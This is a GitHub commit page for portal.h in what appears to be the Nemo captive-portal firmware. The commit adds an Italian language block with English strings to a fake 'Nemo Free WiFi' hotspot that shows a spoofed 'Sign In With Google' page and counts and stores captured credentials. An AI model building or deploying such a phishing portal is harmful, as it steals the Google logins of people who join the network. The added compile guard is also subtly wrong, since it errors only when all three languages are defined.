Skip to content

Commit bae9377

Browse files
committedFeb 25, 2024
Squashed commit of the following:
commit bc8928b Author: klamath <[email protected]> Date: Sun Feb 25 20:59:19 2024 +0100 Update portal.h Add Italian Language but I prefer portal in english commit 96786a3 Author: klamath <[email protected]> Date: Sun Feb 25 20:52:22 2024 +0100 Update localization.h Add Italian Language Setting
1 parent 365e412 commit bae9377

File tree

1 file changed

+11
-2
lines changed

1 file changed

+11
-2
lines changed
 

‎portal.h

+11-2
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,8 @@
66
#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
77
#define SD_CREDS_PATH "/nemo-portal-creds.txt"
88

9-
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
10-
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
9+
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) && defined(LANGUAGE_IT_IT)
10+
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR or LANGUAGE_IT_IT"
1111
#endif
1212

1313
#if defined(LANGUAGE_EN_US)
@@ -28,6 +28,15 @@
2828
#define LOGIN_BUTTON "Avançar"
2929
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
3030
#define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n"
31+
#elif defined(LANGUAGE_IT_IT)
32+
#define LOGIN_TITLE "Sign in"
33+
#define LOGIN_SUBTITLE "Sign In With Google"
34+
#define LOGIN_EMAIL_PLACEHOLDER "Email"
35+
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
36+
#define LOGIN_MESSAGE "Please log in to browse securely."
37+
#define LOGIN_BUTTON "Next"
38+
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
39+
#define TYPE_SSID_TEXT "SSID length should be between 2 and 32\nInvalid: ?,$,\",[,\\,],+\n\nType the SSID\nPress Enter to Confirm\n\n"
3140
#endif
3241

3342
int totalCapturedCredentials = 0;

0 commit comments

Comments
 (0)
Please sign in to comment.